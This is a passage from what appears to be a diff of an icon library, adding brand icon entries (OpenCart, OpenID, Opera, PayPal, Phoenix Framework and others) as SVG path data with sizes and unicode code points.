8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z"], + "opencart": [640, 512, [], "f23d", "M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z"], + "openid": [448, 512, [], "f19b", "M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z"], + "opera": [496, 512, [], "f26a", "M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z"], + "optin-monster": [576, 512, [], "f23c", "M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z"], + "orcid": [512, 512, [], "f8d2", "M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z"], + "osi": [512, 512, [], "f41a", "M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z"], + "page4": [496, 512, [], "f3d7", "M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z"], + "pagelines": [384, 512, [], "f18c", "M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z"], + "palfed": [576, 512, [], "f3d8", "M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z"], + "patreon": [512, 512, [], "f3d9", "M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z"], + "paypal": [384, 512, [], "f1ed", "M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z"], + "penny-arcade": [640, 512, [], "f704", "M421.91 164.27c-4.49 19.45-1.4 6.06-15.1 65.29l39.73-10.61c-22.34-49.61-17.29-38.41-24.63-54.68zm-206.09 51.11c-20.19 5.4-11.31 3.03-39.63 10.58l4.46 46.19c28.17-7.59 20.62-5.57 34.82-9.34 42.3-9.79 32.85-56.42.35-47.43zm326.16-26.19l-45.47-99.2c-5.69-12.37-19.46-18.84-32.62-15.33-70.27 18.75-38.72 10.32-135.59 36.23a27.618 27.618 0 0 0-18.89 17.41C144.26 113.27 0 153.75 0 226.67c0 33.5 30.67 67.11 80.9 95.37l1.74 17.88a27.891 27.891 0 0 0-17.77 28.67l4.3 44.48c1.39 14.31 13.43 25.21 27.8 25.2 5.18-.01-3.01 1.78 122.53-31.76 12.57-3.37 21.12-15.02 20.58-28.02 216.59 45.5 401.99-5.98 399.89-84.83.01-28.15-22.19-66.56-97.99-104.47zM255.14 298.3l-21.91 5.88-48.44 12.91 2.46 23.55 20.53-5.51 4.51 44.51-115.31 30.78-4.3-44.52 20.02-5.35-11.11-114.64-20.12 5.39-4.35-44.5c178.15-47.54 170.18-46.42 186.22-46.65 56.66-1.13 64.15 71.84 42.55 104.43a86.7 86.7 0 0 1-50.75 33.72zm199.18 16.62l-3.89-39.49 14.9-3.98-6.61-14.68-57.76 15.42-4.1 17.54 19.2-5.12 4.05 39.54-112.85 30.07-4.46-44.43 20.99-5.59 33.08-126.47-17.15 4.56-4.2-44.48c93.36-24.99 65.01-17.41 135.59-36.24l66.67 145.47 20.79-5.56 4.3 44.48-108.55 28.96z"], + "perbyte": [448, 512, [], "e083", "M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z"], + "periscope": [448, 512, [], "f3da", "M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z"], + "phabricator": [496, 512, [], "f3db", "M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z"], + "phoenix-framework": [640, 512, [], "f3dc", "M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 